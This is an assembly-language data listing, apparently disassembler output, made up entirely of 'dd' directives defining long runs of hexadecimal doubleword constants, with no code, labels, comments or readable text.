		dd 0CB0376A3h, 0C670A791h, 66423778h, 8EE7019h,	500BD715h
		dd 2422E068h, 306154F5h, 7789242Fh, 88260C6Ah, 0A5009BD8h
		dd 31C7576Dh, 7C6EF778h, 6B970321h, 0EED6A374h,	8974D175h
		dd 1F4C371Eh, 34FDF705h, 0E090E079h, 968FA030h,	0E58C059h
		dd 0E757620Dh, 0F8F7D0C1h, 0F0C30F94h, 744008C5h, 136B0010h
		dd 50A2B38h, 187B27FFh,	7C8D4A00h, 88D6878Fh, 0D9F40085h
		dd 0CE64F8EFh, 0ABB0FFCDh, 0C2800400h, 6FE00318h, 1D60F0FDh
		dd 0C82A4h, 800F9CCFh, 70C63A66h, 70089005h, 71117C7Ah
		dd 3E0F8B1h, 200C8308h,	2B7C61Ah, 4894C49Ah, 630E302h
		dd 18D35F49h, 41064758h, 0FCEB9FFFh, 986C3A80h,	7927400Fh
		dd 0D116E007h, 0BCD69FCDh, 389C3878h, 80A82812h, 0C3FAC011h
		dd 1C8E6CA1h, 700863B8h, 920463Fh, 0DDF1F40h, 0F6813E30h
		dd 9BA01275h, 0A5788EE8h, 481F86E9h, 0C6EA8388h, 984B5198h
		dd 1A8DD0h, 0C7D8003h, 56A9C005h, 0D63A1678h, 3CA03D5Fh
		dd 2AE003F5h, 0DE1FFCF8h, 1ABF1808h, 0A71D3819h, 96C230C0h
		dd 7429C004h, 61201EADh, 0C570387Ch, 78A008h, 5EE140B4h
		dd 0D06200Fh, 0B6801002h, 0DCB0E010h, 842A0E20h, 8715C083h
		dd 0E88338C6h, 0F5458A0h, 40624048h, 285EFAECh,	90546E8h
		dd 27B2010h, 1D64A0F4h,	39A6EC83h, 240860C1h, 3B402200h
		dd 8068C314h, 10708FFBh, 6D6030C3h, 55102891h, 0DC56F0D4h
		dd 1810F08h, 8D9A2003h,	8F1B8010h, 0E0081430h, 12780CCEh
		dd 2CFE5624h, 1B01BC3Eh, 83104F20h, 0A0203CC8h,	24F8ACA8h
		dd 0C04FF8Ah, 6B089503h, 0C0830DFh, 10A112A2h, 4456C00Ch
		dd 589E86C2h, 40EBE833h, 9C5F28FFh, 9073E8F8h, 0A3C07D90h
		dd 139A7E8h, 86BE7F00h,	0CA599020h, 68C9209h, 0E05F37E0h
		dd 0A09CAE50h, 5EA0A154h, 74B00850h, 283C8383h,	189C5209h
		dd 282A7540h, 48C62995h, 504038C8h, 0E120D0F4h,	7B80308Ah
		dd 0A9033EA8h, 0AEC010FFh, 2B610878h, 90382018h, 8E73388Ah
		dd 0C67E09ECh, 34081095h, 3878E191h, 418C203Eh,	2AC4F148h
		dd 12208450h, 57022453h, 46A71258h, 0B89BF574h,	3734D049h
		dd 0DF0208ADh, 0B2144181h, 994F8447h, 0A0849FC9h, 0CAC5A440h
		dd 9BBE8218h, 0DAF32058h, 3728D8EFh, 3998C4F4h,	0ED24BFE8h
		dd 0A21290C4h, 5B20B804h, 0FC485h, 14004A3h, 0CDA09080h
		dd 0E1BCA1B3h, 0C3C65834h, 507DC0A8h, 0A5AEB814h, 0A6F7189Ch
		dd 99C643A8h, 4DDC5130h, 38A198A0h, 4C682081h, 7E2410EEh
		dd 21C92DCh, 0C7BD60C0h, 0F8C42CB4h, 9871B156h,	353F0147h
		dd 8D5440CAh, 0C07493CCh, 2974F86Fh, 10C01472h,	0B24995F2h
		dd 7850C4B9h, 3C109F66h, 7E898551h, 0BC05FDCBh,	5C68C830h
		dd 58DA0F6Ch, 84344341h, 7450E868h, 0A006DB04h,	961F732Dh
		dd 25287C41h, 32DBF63Ch, 285830E1h, 0DE897868h,	6124BE33h
		dd 5010ACB8h, 0BE0CC7BCh, 0E03C9A15h, 107F4998h, 112060F4h
		dd 68FEF776h, 1BC0BC58h, 0C008C350h, 0F42A37C1h, 18330324h
		dd 0DA86A563h, 0D932D898h, 6E064072h, 0F775B46Fh, 3990604Eh
		dd 73897D23h, 3900BE7Bh, 52F7D630h, 60A2557h, 21B17ED4h
		dd 0EB17700Dh, 0DA0050F6h, 63A5DFD6h, 40EA75h, 0D9017DE7h
		dd 611FCC45h, 9A069279h, 564ABEA7h, 0D6EF6118h,	0E0604CCBh
		dd 2400D76Dh, 0D4FCE946h, 0F3BDD89h, 780D44A5h,	92B9B61h
		dd 0C26461CBh, 21308040h, 0F034661Ch, 0ADFEBE42h, 9F2C438Ah
		dd 0E200DB47h, 1CAF4677h, 80FDDC5Eh, 7BD5BAF8h,	8C000C78h
		dd 110962DDh, 130D9B6Dh, 7D2B61h, 0C3C6D808h, 0E5032D39h
		dd 4ED32CAFh, 908C0D4h,	0FBC400A0h, 67CE82D9h, 8A00C32Fh
		dd 0F87BC656h, 0E434C1h, 0EAC033DBh, 0BAAA5042h, 0B45FCE03h
		dd 0D095C957h, 0D48FCDh, 1DE50EB0h, 2C64E9F4h, 0FF144EE4h
		dd 0F90FF1h, 8D778696h,	3E7D36Fh, 0A73A974Fh, 0F488D6C6h
		dd 1200A1D7h, 602FE2E3h, 0F45AF99h, 93FF768Bh, 0E70044CBh
		dd 435990EBh, 0E501AD00h, 8CC5B49Fh, 0FA4005Ah,	854B9BDBh
		dd 45008672h, 0C7E4C94Ch, 3F79B616h, 0BD874D20h, 31AC10B7h
		dd 0DF76891Ah, 0CC6670C8h, 0CE598300h, 12DE02CFh, 5C5300A9h
		dd 0BAE18D5Dh, 0D5002A39h, 84C12E9Ch, 0C79D19h,	59DBCA7Dh
		dd 64FEE7CCh, 873D3C1Eh, 6A2E5407h, 1579F400h, 0F1F3EF32h
		dd 25C489F0h, 0D2690048h, 0C2DE09B7h, 581E606Fh, 949FB839h
		dd 0CC77CA80h, 0D3388Fh, 0A8A20F2Ch, 0EAB5FBBAh, 72A1E100h
		dd 0BE689D24h, 0D1221F56h
		dd 0D54840CDh, 7FE3E877h, 6FA78C00h, 5E34557Bh,	8DC20014h
		dd 9D2EE485h, 8F00F9E2h, 0DB494356h, 0FB976B1h,	0FE5BA7Bh
		dd 9E3302A0h, 0E60F32D3h, 0E0B484BBh, 0FE5E165Bh, 4F8300F6h
		dd 932E45F3h, 2300BC0Ch, 7B6024C8h, 383FD722h, 1E3E2649h
		dd 81B3D600h, 0C97F85BAh, 0C19D2B00h, 4355F3BDh, 666D3F7Ah
		dd 0BF8700FEh, 994C0FFBh, 0DD0019CDh, 1A0BD6ABh, 0D7C731h
		dd 0CEB46D6Bh, 9255D3D8h, 0D5E8C000h, 0C1173FD6h, 57FA0063h
		dd 946DA224h, 1A0048DDh, 19ACDE9Ch, 56ED52Dh, 0B85C932Fh
		dd 0A0368050h, 4C001D7Eh, 0A61FEC0h, 0ABCBEFh, 0A15DB43Bh
		dd 339CE201h, 68835400h, 0ACFDCFDDh, 28E701A8h,	0AB9BAA3Bh
		dd 33C9CF50h, 30FF8F5h,	0B8019F00h, 187962FAh, 0C394013Ch
		dd 1CF477D1h, 527F497h,	0CBE0530Fh, 26C0048h, 0C1E9DE8h
		dd 3FBC4601h, 80008270h, 76BBB2A8h, 0FF039A25h,	1DF5D840h
		dd 92FE08DAh, 990E829Bh, 0C5744Fh, 0B76A4139h, 0EF76B89h
		dd 0D9FD27F9h, 9091AFA7h, 0A7761B67h, 8001F43Fh, 0C5421F12h
		dd 8C7A52h, 53199BD1h, 0BD5B8679h, 0AD746500h, 0B9FEC705h
		dd 887F80h, 0A7A4EE77h,	0D54B47DAh, 4636A500h, 997EB92Fh
		dd 356B0031h, 0DB54CA1Eh, 0B20773C7h, 8A9ACCF3h, 7A140B40h
		dd 0B38901D2h, 3E321BD3h, 0F3A7E1E8h, 0F9498800h, 40671035h
		dd 3E71737Ah, 2E8019B1h, 8DE90AABh, 57391AF1h, 0FBCA8034h
		dd 0C7CE45Ah, 51A00008h, 0BB5E5335h, 0D1CE24Dh,	0FE80CC30h
		dd 58DD82B7h, 34900E91h, 0FA207E0Ch, 0E86A59A2h, 0CAECD800h
		dd 0F36FE3Ah, 0A6A0003Dh, 0B20A3440h, 0E9E6A958h, 4E25B901h
		dd 8A39277Dh, 78CDCh, 0A6D92E6h, 60023BA1h, 0D19D3400h
		dd 0FB3FEB10h, 388C0E98h, 8640EEF4h, 36ECB767h,	9FF8B200h
		dd 0D9075DA8h, 0A5C50FFDh, 4EC72C96h, 23C980B3h, 12071C4Fh
		dd 0EB3F70A0h, 0C66F65E0h, 594A0739h, 0B03361B7h, 0B0A3246Ah
		dd 3B2BC703h, 0D8C6F0A9h, 4E80BEh, 22CB3559h, 77BA2DACh
		dd 953B057Dh, 9A0C803Eh, 886309C0h, 939B072Eh, 97CCBCDFh
		dd 2D136080h, 985C79FEh, 2CD3487Dh, 0C4003CA9h,	1091B7ABh
		dd 0A14E021Bh, 455AFCC8h, 0FAA36C60h, 1E6D4A48h, 0C10A95DEh
		dd 3000A179h, 0CB3113E2h, 3A4000BFh, 0FDA1BB90h, 0B200376Bh
		dd 45B8DEE0h, 1C466EA3h, 4201826Dh, 432E97D8h, 31AA2B60h
		dd 57793603h, 90E0FE12h, 4BA88Fh, 3E4A8CFAh, 9AF86643h
		dd 0FD9EF607h, 0EE00A9CAh, 686736h, 0A5226EC9h,	0F2C328A4h
		dd 0F3FF1916h, 40AADF07h, 8D98FA00h, 832A02EEh,	7BA9DC34h
		dd 30BC2AE0h, 0B63CA100h, 0D16FE018h, 72EF03E2h, 20445C1Eh
		dd 0E8BD4CC9h, 881D361Fh, 0D5D66ACh, 76FEBBC0h,	7B2A51h
		dd 0F9E8D42Ch, 0DAAB70A3h, 0C599F303h, 0A3F88680h, 7FAC05Dh
		dd 18B86C05h, 8390FFB4h, 6E80FB00h, 0FC7E0E4Ch,	90217064h
		dd 0A0C9003Eh, 3539918Dh, 6A73CFE4h, 53BA6F00h,	60EAEE2h
		dd 0C816009Ah, 9CD046Bh, 0B9F09D20h, 7312EB00h,	0F23D2D4Dh
		dd 7FF900C2h, 0E51BF36Bh, 2A70EDD9h, 2E3B7100h,	0FF312DA1h
		dd 0B4560010h, 0C506C6EEh, 0E2072641h, 0CE5D2BAh, 1218C8A0h
		dd 0A1280013h, 491D5D3Eh, 0F700ECD4h, 540A3FEAh, 1C406E0Dh
		dd 41CAB1C0h, 0F2A4223h, 8610CC1Bh, 84C84800h, 641A7855h
		dd 0B6F71D38h, 0B8840D1h, 1EE1D6CEh, 0F52DA900h, 0FF9A1801h
		dd 37AD00F4h, 0E02BA197h, 6A0008A3h, 0F97E1953h, 0B3C401h
		dd 90E142B0h, 408C27B4h, 0D60B5206h, 1B96101Ah,	28676F92h
		dd 2C6D68D0h, 0CA483B60h, 30A3973h, 6BF75D18h, 5101A872h
		dd 5A7ED9C0h, 16D83F10h, 1C910085h, 0E66D5BDFh,	4200BE24h
		dd 934D3CE5h, 24AAF75Fh, 0C06713h, 3F2F9B11h, 5001B92h
		dd 0A9A006A2h, 0E2BEEFh, 0AD69BB71h, 20F313DDh,	4ECEC200h
		dd 821059CAh, 817D010Bh, 6367F960h, 9AE2206Ah, 81C04838h
		dd 0A3262CE2h, 7730A676h, 0BFD40177h, 11E81828h, 2F7A207Eh
		dd 0C6E99900h, 103A6043h, 5ED100A6h, 93838250h,	0E20B5ACFh
		dd 80583BADh, 0ED1EB970h, 2CCA00DFh, 6C562BA0h,	0F41D680Dh
		dd 1040E4E2h, 0A9DD74D0h, 475900B0h, 9718D734h,	0E138F07Fh
		dd 0F5300AFh, 0EC0F270h, 71053FBAh, 0B244280h, 22F0B151h
		dd 6573F61Ch, 0FBEE74C0h, 0BC1829h, 35B7E815h, 710FE1EFh
		dd 0D1028AB0h, 7CCA3F4Dh, 4E0A0FFh, 0E6263BE9h,	6F2B070Dh
		dd 0A092E754h, 67C4A1A5h, 6BEF8E00h, 0ED5D080Bh, 0F5EE6C1h
		dd 0D28F1A1Dh, 412C40A0h, 0AB3BF28Ah, 2F5C7C78h, 8BD103C3h
		dd 0C119FF8Ch, 18E0C076h, 0BFAF0733h, 0E0C1CB4Ah, 7471627Ch
		dd 9340E203h, 25CCF59h,	88A62E58h, 78400B0Dh, 70014C8Fh
		dd 2796482Bh, 40E468EFh, 60A67EE6h, 2C083061h, 87065E1Bh
		dd 9BDD594h, 1E6F0038h,	7B68DA2Ah, 9748534Dh, 30027366h
		dd 39B2BDDFh, 0CB73E087h, 7C4416E9h, 1B59005Ch,	3DD129FDh
		dd 0EE79DA00h, 992B59BEh, 19973BDDh, 6E1B980h, 0B7FFC7ABh
		dd 5581CD1Dh, 0F8FC00FBh, 0EECBAC7Dh, 0A4DC1850h, 9A7F8AB6h
		dd 1F5DEB0Fh, 0FA958003h, 0A5AC31h, 52BE5437h, 80332CFFh
		dd 0C055D971h, 20B40480h, 0D2295904h, 0C0B682Bh, 300846DBh
		dd 96FDAB80h, 0FB03B672h, 95DD8DA9h, 1B5DA937h,	0A0B0B4F0h
		dd 44B2990Ch, 0C14277A7h, 7F849D21h, 854AF96Ah,	0DE268824h
		dd 0C4A4945h, 0B18424CBh, 0CF45AA64h, 0F50C04CCh, 0A76C224Ah
		dd 0B10EFD18h, 10B7427Fh, 0FA8449E1h, 0A2E522E6h, 13C07B0Ch
		dd 0A6C832FCh, 991AD60h, 5CEFC9CFh, 2CCB8000h, 0FD05961Eh
		dd 19E47E65h, 0BB10A840h, 90D1EA17h, 0DB20122Ch, 898403Ch
		dd 8C104578h, 63EAB901h, 1E969959h, 0DC173981h,	0F96E1653h
		dd 1CC841FCh, 9F37D0D3h, 0BF447500h, 1E61FD04h,	0DDF7003Bh
		dd 5029726Ah, 4E3358F1h, 0F3CF682Bh, 21B7A0C8h,	0A6083856h
		dd 35B55180h, 4846F9DDh, 55E34402h, 0A0DAD59Bh,	729AB74Ch
		dd 3D4090BCh, 999C0985h, 3B1C027Fh, 49E00FB9h, 0AC73FE97h
		dd 7719BEF8h, 0C8E0B8AEh, 5529E940h, 0D8020339h, 7F30D65Fh
		dd 1F5EBDF8h, 26C23502h, 0B9850B32h, 3D1A1B1Ch,	0F60EBAB7h
		dd 0CF2EF403h, 0F94406C8h, 0AAE75D6Eh, 0C0BE11h, 44E8EDAAh
		dd 77C21814h, 0B38036C1h, 2980586Eh, 43C459ACh,	7F80F30Fh
		dd 0F3B055h, 82DF8E04h,	8DE605F2h, 7552237Ch, 0BF51075Ch
		dd 89E08393h, 0E8186116h, 80850B23h, 650058EBh,	9DDC316Bh
		dd 5E694D0Eh, 0E3664033h, 4AD6E0EAh, 544CBC65h,	0A612EFC0h
		dd 30494967h, 44100175h, 4DC058D0h, 0AB14A06Bh,	0E4290068h
		dd 755C9207h, 1D3C4E78h, 7D29F769h, 67058DDh, 77658D5Eh
		dd 1F994C38h, 804FD789h, 0DDBDA65Bh, 0EA132175h, 40405A38h
		dd 0A22BD49Ah, 5C8D2099h, 1240FF7Ah, 3DC7664h, 55EB9C6Eh
		dd 0C9D0F286h, 32008A43h, 2ED8BAD2h, 72AA410h, 11CF3F9Fh
		dd 65E59006h, 0E400F702h, 86A11C2Dh, 4807F37h, 28C8476Fh
		dd 12DEC0D2h, 100011CEh, 8F0E506h, 0E0FE8349h, 0DA423E63h
		dd 0B2852780h, 0F20AFBBAh, 8348C81Dh, 0DEB08800h, 6329CF0Fh
		dd 80FA9049h, 38000877h, 8126C593h, 0C03A8407h,	0E40DBB30h
		dd 2100CE98h, 0AFC7D989h, 8D620Eh, 0CE1BF19h, 54E2060Bh
		dd 0F000797Fh, 74AF123Fh, 860250Eh, 0DF2B5F89h,	0E1D49B03h
		dd 0F2A81811h, 0AF7198A4h, 0DD069407h, 6EA00F0Eh, 0D91145h
		dd 0B05CAD15h, 89F5AEB5h
		dd 0F4028F07h, 0C6206094h, 0A5018E90h, 5CA05844h, 620808CFh
		dd 81508EE3h, 0AEDB1C9Ah, 1B689D8h, 0DDD8A2F3h,	0D89070D1h
		dd 0FE004658h, 0B23F93EFh, 2C75B86h, 9A69BA6Eh,	676047F1h
		dd 415CDD64h, 7C771988h, 5D702C40h, 9CCF00AFh, 470210BDh
		dd 30CC8949h, 9293280Bh, 8BB50010h, 33F16FE5h, 120794BAh
		dd 7941FD0Bh, 2A5084CAh, 0DA14329Eh, 0A0801246h, 84F52DD7h
		dd 0F8AE1630h, 38B08Fh,	0A6478668h, 1AB7988Bh, 0AFEAD00h
		dd 0DF046DB6h, 6AE609F5h, 42781AFh, 66ECF07Fh, 6500253Dh
		dd 0BA2DCBEEh, 29704033h, 81D00145h, 42F130B3h,	6BB8D3CBh
		dd 4048A468h, 0C900AE64h, 1D76E224h, 8B1FBAC1h,	300BF54h
		dd 80050EA4h, 7BB37C7Bh, 0B0FA0E9Fh, 7D8197C5h,	22AEEB9Eh
		dd 3032B80Ch, 50D954F1h, 0F449FD39h, 76270004h,	0A761AB1Bh
		dd 0C15714FCh, 6AEFC8Bh, 0D9A7B0FBh, 0B28D1FC8h, 0FEF46AFFh
		dd 1BA005CFh, 38C86F76h, 4D0AA780h, 44EF7D1Ch, 8D94D5Ch
		dd 563F0801h, 95F53BA9h, 91C40528h, 25C08390h, 0DD0CA553h
		dd 3C8F2043h, 10189CEAh, 0D3471146h, 81B4DC51h,	0C87FC411h
		dd 2F10F232h, 7E42B6D3h, 1B201720h, 19CA2A80h, 159D0FC0h
		dd 7900B39Eh, 2E2A0520h, 33C76400h, 454BFF0Dh, 405B48F3h
		dd 0E580F93Fh, 0E7D97D8Dh, 6A3C6398h, 4BEA9E69h, 65E10180h
		dd 0E0F0247h, 0E366629h, 80E82220h, 270063DEh, 98DC775Ah
		dd 0EE1AFDD6h, 687516h,	6D269BD9h, 70C5BA4Ah, 12D60100h
		dd 54630246h, 3009ECDFh, 0DA388D3Ch, 0B300220Ch, 345625B6h
		dd 1FA270D9h, 801B084Dh, 0B804419Bh, 492C01BAh,	810CBDE6h
		dd 0E7388Bh, 862F4C8Dh,	0E5B33213h, 8FB1A61Fh, 438E9846h
		dd 8D61708h, 0D48E005Ch, 6C2C83Eh, 229AE60Ch, 3CA7F0DBh
		dd 50602B24h, 0D4CFD028h, 3A705B03h, 0E0EDF395h, 1C9BBD5Ah
		dd 5E8CFE37h, 0B9D59843h, 73079ACEh, 0AE8A3CFCh, 355CF650h
		dd 62CA00D8h, 0A40CD766h, 0BB077F69h, 0F74A5668h, 4053F610h
		dd 1B5A1BA9h, 908348E4h, 0ED52B7D0h, 2C5838h, 0F38B6B1Ah
		dd 686DD2h, 0F0BE640Fh,	159F01BBh, 1EC7F39h, 28568252h
		dd 0E9805E8Eh, 72C2DE4Eh, 610C6B55h, 0A9E277A4h, 0BD4C0047h
		dd 84AEABF3h, 0E6004119h, 0D8774EF9h, 5C7F2A20h, 0E703F866h
		dd 0B06CBED7h, 0EDD1DC83h, 842CF8DDh, 0F421D460h, 0E26758DBh
		dd 1ECE261h, 17A9FC88h,	0E0C6223Eh, 2503F4B8h, 0F0B4E79Bh
		dd 0CE15C0A5h, 5655013Ch, 72892F45h, 0B40E7061h, 110A5F01h
		dd 0ABC8F929h, 4EF045C9h, 0C174AFh, 74C0CA13h, 600357ADh
		dd 0EAC8A909h, 9991805Bh, 1972F133h, 491135F3h,	75B0180Dh
		dd 0CC0234Dh, 612908h, 71DCC19Eh, 0B3BD14Fh, 80CA3B90h
		dd 8AA4DF0Fh, 0AD089Dh,	0FBE0B9C0h, 6FCDD732h, 583D68C6h
		dd 38535240h, 0EECEDFB1h, 0AF6C10h, 669D2D27h, 0EFE694C4h
		dd 8F0A193Bh, 4C7389BFh, 0C72531DEh, 0F6D8A3F0h, 0EE0010ACh
		dd 7E8574EAh, 1DC6530Ch, 1846B303h, 630931D6h, 316C651Fh
		dd 6F11E9C0h, 139579E5h, 0CA71A2h, 0DF1B99EDh, 9A01812Eh
		dd 8789E3ACh, 0D880652Bh, 0D7C41079h, 12015D7Ah, 0BCB1C0D8h
		dd 8883DEF5h, 8A877CBh,	4EC51000h, 57163E0Dh, 90853AB9h
		dd 273FA70Ch, 0B00E602h, 2FCEA3C3h, 13DC35h, 0DE866165h
		dd 826E89F6h, 0E73CCF00h, 1685B6A4h, 182C0047h,	2BB106E5h
		dd 7D00D8B2h, 1BD92634h, 0E85C38h, 18D4F5A3h, 0AFE3C491h
		dd 3026690h, 0A5F7E406h, 0A423E156h, 951CDCh, 92548C78h
		dd 164AA8F9h, 67074201h, 0D1ECA3EFh, 0B7FDD8h, 55C27705h
		dd 0ADC1297Ch, 0F6DF7200h, 0A90F9219h, 14E10065h, 5453ED4Bh
		dd 83F82095h, 7E97BD00h, 7A011233h, 6FE800B2h, 0CB1F4ED2h
		dd 190C164Ch, 202F48E9h, 0FE840024h, 13CE4718h,	890CE12Eh
		dd 90575303h, 7193767h,	750BC008h, 3D0031EDh, 0C64DC9Eh
		dd 98AADA38h, 0F7A0CEAh, 42919A08h, 0FF594816h,	32DB3A00h
		dd 3AE987Ch, 0A2E1FA7h,	68011218h, 64CB6514h, 56C8BB91h
		dd 0A3414178h, 1FFC0440h, 0C03879CFh, 1E8B29A0h, 1DE6A7DDh
		dd 8FBC5301h, 0C5F1EC03h, 0C6B9309Eh, 10E1808Ah, 0C44CD41Fh
		dd 0CA1ACD1Fh, 52343618h, 0AE04C66h, 10C040DFh,	71FE0CB4h
		dd 1C4A2B1h, 8B448DC0h,	54FD9B20h, 424D0C57h, 0B71D104Fh
		dd 0BE18A98Ah, 9115B6A1h, 0B394100Ch, 0BC24B58Ah, 99548477h
		dd 24AB240Ch, 421037BAh, 819D44E2h, 0B45D2186h,	213CED15h
		dd 24E59551h, 0CB2D814h, 24380915h, 84993FE2h, 4E0C529Dh
		dd 35A118A2h, 1144B213h, 42620C85h, 51311046h, 65A8218Ah
		dd 0FC244A55h, 19B96684h, 878E567h, 41C68AA8h, 0CC76080Ch
		dd 0FB40EA44h, 0DEB96A70h, 0B8EE24h, 0E4432B80h, 0A1E2C5h
		dd 766D719h, 315E4D9Ch,	0DB0F6200h, 93A73D6Dh, 3ECB39C5h
		dd 7043D602h, 0E04C06DFh, 0C8A01175h, 54449677h, 34271BC2h
		dd 0B6F01812h, 0C53AF8A8h, 7E2C72C1h, 820AFF83h, 7A3B5026h
		dd 0AA80AF04h, 4C1FE1A4h, 0EC89506Fh, 0FE689F3Bh, 0CA181900h
		dd 0AAEDB758h, 0F0DC81C9h, 1CA530B8h, 0BC2BF463h, 0BBC57681h
		dd 22C75840h, 0ADFC0191h, 8FBE0907h, 92508072h,	7C06E4DDh
		dd 0FC6F30FFh, 0EEF57E59h, 1686E4Dh, 0C32F0DEFh, 0B6D066E4h
		dd 0C8265280h, 0C06383Ch, 507007BEh, 0B9F0E801h, 7B735F6Ch
		dd 0F5921450h, 0B2060AE6h, 3470E5h, 2AAE220Bh, 0D60F38C7h
		dd 0E4AAA7C3h, 78D09619h, 0A9BBD5h, 8942BE54h, 36538BF4h
		dd 0E9240D00h, 0B43C4C92h, 85AA06E6h, 0B98D59AFh, 0FEC36A20h
		dd 0C2CAB8DBh, 0AEC0CC98h, 0BAF61040h, 0ABDD1B26h, 6870D21Dh
		dd 1C9B636h, 8D1D44E4h,	8614C5D1h, 0EDD20A18h, 8FA930D1h
		dd 21667D80h, 85B09C85h, 406CF04Fh, 74E7A1C8h, 8D1E3A28h
		dd 480D41Eh, 894AAF84h,	0C95F2CBEh, 9E921C2Ch, 1167188Fh
		dd 0B9503EEAh, 17188EF4h, 84880E22h, 77F87607h,	60ABE8F6h
		dd 0B7A61925h, 0CD14D2A3h, 4DB7EDA9h, 3E092240h, 0B216AAA6h
		dd 31140170h, 0D171568Fh, 0C5EED194h, 9E3194C5h, 107EA084h
		dd 7AA109DDh, 40055B0h,	327D3F9h, 4FB8CF03h, 0BE01F87h
		dd 4D19F7A8h, 519D1C86h, 0C17C8048h, 64840D97h,	1D4CF020h
		dd 0F2FABC6h, 8AA6111Ch, 20A11862h, 92B46417h, 48B9D524h
		dd 4FA9E805h, 8DD7B881h, 61CA8448h, 0F6F5409Bh,	0D8A2D4CCh
		dd 0BBBED900h, 0D534807Ch, 90757BC2h, 95AD164Ch, 0F3E8000Eh
		dd 6EE5B9B4h, 60805551h, 0BFFA1DFCh, 328EC58h, 618389A9h
		dd 0ED2C9862h, 13CC039Fh, 9384E8CEh, 1190A0F0h,	67A77601h
		dd 39615FE9h, 0B2858C4h, 9F9EE514h, 0BE751F80h,	5B0F2053h
		dd 437B2D57h, 9BA53786h, 728ED8CAh, 65170EA7h, 0FD80A9EBh
		dd 5962C3C5h, 0E73F4D01h, 8FF0DA2Bh, 0A4287081h, 4A1203D0h
		dd 58760830h, 0EC415134h, 5010167Ah, 75009D32h,	5655BCCEh
		dd 1B0CC2C5h, 301C23BDh, 294B0010h, 0EA47E70Ch,	5418347Fh
		dd 0B799CA59h, 0B482010Eh, 1E2FE41Ah, 78E6F0D3h, 36D00718h
		dd 0E8522640h, 0DA53006Dh, 4A291B30h, 0AB39ACFAh, 0A77783DCh
		dd 0A66CE6D6h, 3E110051h, 33614A51h, 0A6508C3Ah, 0F90895A0h
		dd 99089Bh, 0BFA70FDh, 4A01C57Ah, 0AEF631F5h, 0D8C0252Fh
		dd 0EA9E00E6h, 1153D3A2h, 8A064CACh, 2F50A167h,	2C170C70h
		dd 0FA17C07h, 6FD1A00Ch, 3C20F87Eh, 88049724h, 0AAFD1678h
		dd 787912C6h, 15CBE8A6h
		dd 4889760Fh, 0ADF43900h, 956120A3h, 0AEE6D700h, 0FCEA78A8h
		dd 41CF03F6h, 0D975CE07h, 9F55F000h, 8D437CECh,	0EC7003Dh
		dd 1B612C93h, 6E52E658h, 0A1F80084h, 0C1EC3702h, 0D5860287h
		dd 2B07D377h, 0CB5EECA1h, 307ED3F6h, 0B17A8237h, 865740A8h
		dd 0E9C0D7E7h, 0BC7B0FC9h, 102767BFh, 55ED92D5h, 987AF880h
		dd 0A3033A22h, 0FB8C7297h, 3D50D075h, 0D220C059h, 213FE1FEh
		dd 964884A8h, 503E1503h, 117D1E2Dh, 6761831h, 3865BE1Bh
		dd 6BD10468h, 884C2DC7h, 6144C934h, 0F4DD0029h,	64878A1Bh
		dd 0D1C0205Ch, 0C2BD9205h, 24EBE240h, 308AAC6Ah, 12638F41h
		dd 8A82328h, 8E9F4B40h,	0FB68F810h, 0FE18CE80h,	1570892Bh
		dd 0BEF1C207h, 0F386C1D9h, 48CB28D6h, 0A24D00E0h, 0D66F1C8Dh
		dd 27007F28h, 18D94325h, 0E0C48EB0h, 824E00E6h,	142073C7h
		dd 38CA99A3h, 518004ADh, 0F8770C7Dh, 9B19C05Dh,	1588220Eh
		dd 89EFD600h, 2C188E7Ah, 5638033Ah, 49068C19h, 8D304001h
		dd 84B50E7Ch, 1E3290E3h, 0DF6000AAh, 9BF5A0EFh,	3916F13Dh
		dd 351D40E8h, 0BFE44B00h, 3091F82Dh, 0FF89A531h, 15007AC8h
		dd 6A9B9C34h, 0F0B3F2h,	0D9FBBC58h, 1F795635h, 0E098B0CEh
		dd 0E4D6BF24h, 2C8D0046h, 37BD4719h, 743A209Bh,	0C8C0F8D3h
		dd 0D6EE590Fh, 956A1890h, 0F3BD51AFh, 3DA15A01h, 0DB47158Dh
		dd 1049C62Fh, 972D5900h, 0ED10EF32h, 0B9607CFh,	0F0D0464Ah
		dd 1417C853h, 0C67DF50Fh, 807CCED8h, 8168F62Dh,	0F71600E1h
		dd 0C8A50C9Fh, 0BB0066FDh, 803BB392h, 35A3FD1h,	57DA7170h
		dd 95E089E3h, 0A307D994h, 25EA56BDh, 7AEC5D30h,	472E006Dh
		dd 16366E67h, 0F23B382Fh, 0A0F180C0h, 72D6287Ch, 0C67EB0h
		dd 409B150Ch, 0F05CF9B7h, 3B0254F0h, 0AE070330h, 0E4FCE058h
		dd 176E02B0h, 0A121D247h, 0DA724055h, 3B9B00D9h, 0A7DD1228h
		dd 0CC076620h, 0AF9475Fh, 5A969170h, 14E24CECh,	0F75CEA00h
		dd 0B7E69CCAh, 11005090h, 0C7068AC5h, 0E2B0A4CEh, 20AE00F8h
		dd 5F94DB6Bh, 2500C2E6h, 0A86AE5F4h, 0E858A69Bh, 12F897h
		dd 0D02FD286h, 0AA524AB0h, 56B75400h, 9FE4FA7Bh, 0F737028Fh
		dd 43497CEAh, 42F40EC0h, 0C2AC605Ah, 41262Eh, 0A8744011h
		dd 0DF005993h, 9408310Dh, 0F49D514h, 0F55EA0A4h, 98DE56C0h
		dd 78030792h, 0ADB8131h, 0FA4DD9C5h, 6EF560h, 38C2E1EBh
		dd 87822071h, 1F79F895h, 0B92E7065h, 61529200h,	0A02A4D02h
		dd 0F856DA1Dh, 0F200B2A8h, 9C9AAD43h, 39DE501h,	0E123AA78h
		dd 49874EBh, 0D9033B32h, 7FDC4D05h, 2380C48Fh, 8D4970h
		dd 6399C54h, 42E22275h,	0FC1F3000h, 19FEA48h, 0BA680078h
		dd 17A612D9h, 0D4707753h, 9A5DC407h, 1C5074CEh,	5439D6h
		dd 0FF93A3EBh, 5C630C43h, 0BD00B67Bh, 4FC2A73Ah, 2CE2CED6h
		dd 0B89080h, 8DC62B40h,	0E0019F62h, 64B06016h, 0C0DFF169h
		dd 0EC73C79h, 7F38DD68h, 5BD5AA60h, 9CF84CA8h, 0E21F25ECh
		dd 5840C7B9h, 0F2FC0D95h, 0CBDF0079h, 0BBDEF9AFh, 7D0728CAh
		dd 6F82B76Ah, 0C023F7D3h, 0A9426Ch, 329FE1AFh, 0FA44F153h
		dd 17268E09h, 0C56F8063h, 855941h, 0F7136997h, 8D5CD979h
		dd 680D1F01h, 0B633EC8Fh, 0B9E84B71h, 0CDDC00B3h, 207073F0h
		dd 0E5B03905h, 0E298FA0Fh, 5EE1801Ch, 1E45DD04h, 3A9C94h
